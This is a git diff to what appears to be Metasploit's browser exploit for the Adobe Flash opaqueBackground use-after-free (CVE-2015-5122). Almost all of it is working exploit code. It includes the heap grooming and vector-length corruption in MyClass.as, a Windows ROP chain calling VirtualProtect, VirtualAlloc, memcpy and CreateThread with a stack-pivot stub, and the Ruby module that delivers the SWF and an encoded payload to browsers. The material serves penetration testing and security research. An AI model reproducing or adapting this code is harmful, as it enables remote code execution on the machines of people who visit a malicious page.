diff --git a/data/exploits/CVE-2015-5122/msf.swf b/data/exploits/CVE-2015-5122/msf.swf index 7a33364556..08b95c4261 100755 Binary files a/data/exploits/CVE-2015-5122/msf.swf and b/data/exploits/CVE-2015-5122/msf.swf differ diff --git a/external/source/exploits/CVE-2015-5122/Exploit.as b/external/source/exploits/CVE-2015-5122/Exploit.as index e80733e3f0..f35abd89f2 100755 --- a/external/source/exploits/CVE-2015-5122/Exploit.as +++ b/external/source/exploits/CVE-2015-5122/Exploit.as @@ -11,27 +11,24 @@ package private var b64:Base64Decoder = new Base64Decoder() private var payload:ByteArray private var platform:String - private var os:String public function Exploit():void { - //trace("Got to checkpoint 0"); - if (stage) init(); - else addEventListener(Event.ADDED_TO_STAGE, init); + if (stage) init(); + else addEventListener(Event.ADDED_TO_STAGE, init); } private function init(e:Event = null):void { - platform = LoaderInfo(this.root.loaderInfo).parameters.pl - os = LoaderInfo(this.root.loaderInfo).parameters.os + platform = LoaderInfo(this.root.loaderInfo).parameters.pl var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") b64.decode(b64_payload) payload = b64.toByteArray() - removeEventListener(Event.ADDED_TO_STAGE, init); - MyClass.TryExpl(this, platform, os, payload) + removeEventListener(Event.ADDED_TO_STAGE, init); + MyClass.TryExpl(this, platform, payload, 1) } } } \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5122/Exploiter.as b/external/source/exploits/CVE-2015-5122/Exploiter.as index ecbf56fac5..591cdce944 100755 --- a/external/source/exploits/CVE-2015-5122/Exploiter.as +++ b/external/source/exploits/CVE-2015-5122/Exploiter.as @@ -11,27 +11,33 @@ package private var eba:ExploitByteArray private var payload:ByteArray private var platform:String - private var op_system:String private var pos:uint private var byte_array_object:uint private var main:uint private var stack_object:uint private var payload_space_object:uint private var buffer_object:uint + private var magic:uint + private var magic_arg0:uint + private var magic_arg1:uint + private var magic_object:uint + private var magic_table:uint private var buffer:uint private var vtable:uint private var stack_address:uint private var payload_address:uint + private var stub_address:uint + private var stub_space_object:uint + private var stub:Vector. = new Vector.(8) private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) private var spray:Vector. = new Vector.(90000) - public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector., uv_length:uint):void + public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., uv_length:uint):void { exploit = exp payload = p platform = pl - op_system = os ev = new ExploitVector(uv, uv_length) if (!ev.is_ready()) return @@ -49,9 +55,18 @@ package cleanup() } + static function Magic(...a){} + private function spray_objects():void { Logger.log("[*] Exploiter - spray_objects()") + + // mov eax,[esp+0x4] + // xchg eax,esp + // rets + stub[0] = 0x0424448B + stub[1] = 0x0000C394 + for (var i:uint = 0; i < spray.length; i++) { spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) @@ -59,6 +74,8 @@ package spray[i][1] = exploit spray[i][2] = stack spray[i][3] = payload_space + spray[i][4] = Magic + spray[i][5] = stub } } @@ -76,6 +93,8 @@ package main = ev.at(pos + 1) - 1 stack_object = ev.at(pos + 2) - 1 payload_space_object = ev.at(pos + 3) - 1 + magic = ev.at(pos + 4) - 1 + stub_space_object = ev.at(pos + 5) - 1 if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { return false } @@ -98,6 +117,11 @@ package vtable = ev.read(main) stack_address = ev.read(stack_object + 0x18) payload_address = ev.read(payload_space_object + 0x18) + stub_address = ev.read(stub_space_object + 0x18) + magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) + magic_table = ev.read(magic_object) + magic_arg0 = ev.read(magic + 0x1c) + magic_arg1 = ev.read(magic + 0x20) } private function corrupt_byte_array():void @@ -138,13 +162,7 @@ package if (platform == "linux") { do_rop_linux() } else if (platform == "win") { - if (op_system == "Windows 8.1") { - do_rop_windows8() - } else if (op_system == "Windows 7") { - do_rop_windows() - } else { - return - } + do_rop_windows() } else { return } @@ -167,88 +185,20 @@ package var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution - eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable - eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main eba.write(0, "\x89\x03", false) // mov [ebx], eax - eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 // Put the payload (command) in memory eba.write(payload_address + 8, payload, true); // payload - // Put the fake vtabe / stack on memory - eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + // Put the fake stack on memory eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - eba.write(0, virtualprotect) - - // VirtualProtect - eba.write(0, virtualalloc) - eba.write(0, buffer + 0x10) - eba.write(0, 0x1000) - eba.write(0, 0x40) - eba.write(0, buffer + 0x8) // Writable address (4 bytes) - - // VirtualAlloc - eba.write(0, memcpy) - eba.write(0, 0x7f6e0000) - eba.write(0, 0x4000) - eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE - eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE - - // memcpy - eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't - eba.write(0, 0x7f6e0000) - eba.write(0, payload_address + 8) - eba.write(0, payload.length) - - // CreateThread - eba.write(0, createthread) - eba.write(0, buffer + 0x10) // return to fix things - eba.write(0, 0) - eba.write(0, 0) - eba.write(0, 0x7f6e0000) - eba.write(0, 0) - eba.write(0, 0) - eba.write(0, 0) - - eba.write(main, stack_address + 0x18000) // overwrite with fake vtable - exploit.toString() // call method in the fake vtable - } - - private function do_rop_windows8():void - { - Logger.log("[*] Exploiter - do_rop_windows8()") - var pe:PE = new PE(eba) - var flash:uint = pe.base(vtable) - var winmm:uint = pe.module("winmm.dll", flash) - var advapi32:uint = pe.module("advapi32.dll", flash) - var kernelbase:uint = pe.module("kernelbase.dll", advapi32) - var kernel32:uint = pe.module("kernel32.dll", winmm) - var ntdll:uint = pe.module("ntdll.dll", kernel32) - var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) - var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) - var createthread:uint = pe.procedure("CreateThread", kernelbase) - var memcpy:uint = pe.procedure("memcpy", ntdll) - var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) - var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) - // Continuation of execution - eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable - eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main - eba.write(0, "\x89\x03", false) // mov [ebx], eax - eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - eba.write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot eba.write(0, virtualprotect) - - // VirtualProtect + + // VirtualProtect eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) @@ -257,14 +207,14 @@ package // VirtualAlloc eba.write(0, memcpy) - eba.write(0, 0x7ffd0000) + eba.write(0, 0x7f6e0000) eba.write(0, 0x4000) eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE // memcpy eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't - eba.write(0, 0x7ffd0000) + eba.write(0, 0x7f6e0000) eba.write(0, payload_address + 8) eba.write(0, payload.length) @@ -273,13 +223,31 @@ package eba.write(0, buffer + 0x10) // return to fix things eba.write(0, 0) eba.write(0, 0) - eba.write(0, 0x7ffd0000) + eba.write(0, 0x7f6e0000) eba.write(0, 0) eba.write(0, 0) eba.write(0, 0) + + for (var i:uint; i < 0x100; i++) { + eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) + } - eba.write(main, stack_address + 0x18000) // overwrite with fake vtable - exploit.toString() // call method in the fake vtable + // VirtualProtect the stub with a *reliable* stackpivot + eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stub_address) + eba.write(magic + 0x20, 0x10) + var args:Array = new Array(0x41) + Magic.call.apply(null, args); + + // Call to our stackpivot and init the rop chain + eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stack_address + 0x18000) + Magic.call.apply(null, null); + eba.write(magic_object, magic_table); + eba.write(magic + 0x1c, magic_arg0) + eba.write(magic + 0x20, magic_arg1) } private function do_rop_linux():void diff --git a/external/source/exploits/CVE-2015-5122/Logger.as b/external/source/exploits/CVE-2015-5122/Logger.as index 61ec768c25..16c0447973 100755 --- a/external/source/exploits/CVE-2015-5122/Logger.as +++ b/external/source/exploits/CVE-2015-5122/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 1 + private static const DEBUG:uint = 0 public static function alert(msg:String):void { diff --git a/external/source/exploits/CVE-2015-5122/MyClass.as b/external/source/exploits/CVE-2015-5122/MyClass.as index eabb4998c5..01fda97a58 100755 --- a/external/source/exploits/CVE-2015-5122/MyClass.as +++ b/external/source/exploits/CVE-2015-5122/MyClass.as @@ -14,101 +14,108 @@ static var _gc:Array, _ar:Array, - _arLen1:int, - _arLen2:int, + _ar_reuse:Array, + _ar_text_line:Array, _arLen:int, + _ar_reuseLen:int, + _ar_text_lineLen:int, _vu:Vector., - _vo:Vector., _tb:TextBlock, - _tl:TextLine, _mc:MyClass, - _is64 = null, - _chrome:Boolean, - _done:Boolean, _cnt:int, _vLen:int, - _magic:uint = 0x123456, LEN40:uint = 0x40000000; static function valueOf2() { try - { - if (++_cnt < _arLen2) { - // recursive call for next TextLine - _ar[_cnt].opaqueBackground = _mc; + { + if (++_cnt < _ar_text_lineLen) { + //recursive call for next TextLine + _ar_text_line[_cnt].opaqueBackground = _mc; } else { - Logger.log("MyClass.valueOf2()"); - - // free internal objects - for(var i:int=1; i <= 5; i++) - _tb.recreateTextLine(_ar[_arLen2-i]); - + for(var i:int = 1; i <= 19; i++) + _tb.recreateTextLine(_ar_text_line[_ar_text_lineLen - i]); // reuse freed memory - for(i=_arLen2; i < _arLen; i++) - _ar[i].length = _vLen; + for(i=0; i < _ar_reuseLen; i++) + _ar_reuse[i].length = _vLen; } } catch (e:Error) { Logger.log("valueOf2 " + e.toString()); } + return _vLen+8; } - static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) + static function TryExpl(e:Exploit, platform:String, payload:ByteArray, try_number:uint) { + if (try_number > 3) + return + try { // init vars Logger.log("init vars") - _arLen1 = 10 * 3; // 10 vectors per page - _arLen2 = _arLen1 + 4 * 4; // 4 TextLine per page - _arLen = _arLen2 + 10 * 8; + _arLen = 30 + _ar_text_lineLen = 50 + _ar_reuseLen = 80 + _ar = new Array(_arLen); + _ar_text_line = new Array(_ar_text_lineLen) + _ar_reuse = new Array(_ar_reuseLen) + if (!_gc) _gc = new Array(); _gc.push(_ar); + _gc.push(_ar_text_line); + _gc.push(_ar_reuse); + if (!_tb) { _tb = new TextBlock(new TextElement("TextElement", new ElementFormat())); if (!_tb) throw new Error("_tb = " + _tb); } + _mc = new MyClass(); + _vLen = 400/4-2; - // fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset) Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)") - for(var i:int; i < _arLen1; i++) - _ar[i] = new Vector.(_vLen); + for(var i:uint = 0; i < _arLen; i++) + _ar[i] = new Vector.(_vLen) // prepare Vector objects Logger.log("prepare Vector objects") - for(i=_arLen2; i < _arLen; i++){ - _ar[i] = new Vector.(8); - _ar[i][0] = i; + for(i = 0; i < _ar_reuseLen; i++) { + _ar_reuse[i] = new Vector.(8); + _ar_reuse[i][0] = i; + _ar_reuse[i][1] = 0xdeedbeef } // prepare TextLines Logger.log("prepare TextLines") - for(i=_arLen1; i < _arLen2; i++) - _ar[i] = _tb.createTextLine(); + for(i = 0; i < _ar_text_lineLen; i++) + _ar_text_line[i] = _tb.createTextLine() + // fill 1016-byte holes (0x38c is a size of internal TextLine object) Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)") - for(i=_arLen1; i < _arLen2; i++) - _ar[i].opaqueBackground = 1; // alloc 1016 bytes + for(i = 0; i < _ar_text_lineLen; i++) + _ar_text_line[i].opaqueBackground = 1 // alloc 1016 bytes // set custom valueOf() for _mc Logger.log("set custom valueOf() for _mc") - MyClass.prototype.valueOf = valueOf2; + MyClass.prototype.valueOf = valueOf2 // here we go, call the vulnerable setter Logger.log("here we go, call the vulnerable setter") - _cnt = _arLen2-6; - _ar[_cnt].opaqueBackground = _mc; + //_cnt = _ar_text_lineLen - 6 + _cnt = _ar_text_lineLen - 20 + _ar_text_line[_cnt].opaqueBackground = _mc // find corrupted vector length Logger.log("find corrupted vector length ") - for(i=_arLen2; i < _arLen; i++) { - _vu = _ar[i]; + for(i=0; i < _ar_reuseLen; i++) { + _vu = _ar_reuse[i]; if (_vu.length > _vLen+2) { Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16)); Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16)); @@ -116,7 +123,7 @@ // corrupt next vector _vu[_vLen] = LEN40; // get corrupted vector - _vu = _ar[_vu[_vLen+2]]; + _vu = _ar_reuse[_vu[_vLen+2]]; break; } };// else CheckCorrupted(_vu, i); // 4RnD @@ -124,16 +131,17 @@ // check results Logger.log("v.length = " + _vu.length.toString(16)); + if (_vu.length < LEN40) throw new Error("try again"); - var exploiter:Exploiter = new Exploiter(e, platform, os, payload, _vu, 0x62) - - // clean up - Logger.log("_vu.length = " + _vu.length.toString(16)); + var exploiter:Exploiter = new Exploiter(e, platform, payload, _vu, 0x62) } - catch (e:Error) + catch (err:Error) { - Logger.log("TryExpl " + e.toString()); + Logger.log("TryExpl " + err.toString()); + if (err.toString().indexOf("try again") != -1) { + MyClass.TryExpl(e, platform, payload, try_number + 1) + } } } diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index b4cf3de1e9..8f35bbf391 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer @@ -24,9 +24,10 @@ class Metasploit3 < Msf::Exploit::Remote Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194, - windows 8.1, Firefox and Adobe Flash 18.0.0.203, - Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and - Windows 8.1, Firefox and Adobe Flash 18.0.0.194 + Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194, + windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.203, + Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.160 and + Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194 }, 'License' => MSF_LICENSE, 'Author' => @@ -38,7 +39,9 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['CVE', '2015-5122'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'] + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-04.html'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-18.html'] ], 'Payload' => { @@ -93,12 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") - if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' - print_warning("Target setup not supported") - send_not_found(cli) - return - end - if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) @@ -113,20 +110,16 @@ class Metasploit3 < Msf::Exploit::Remote swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) - os_name = target_info[:os_name] - - if target.name =~ /Windows/ - platform_id = 'win' - end + platform_id = 'win' html_template = %Q| - + - +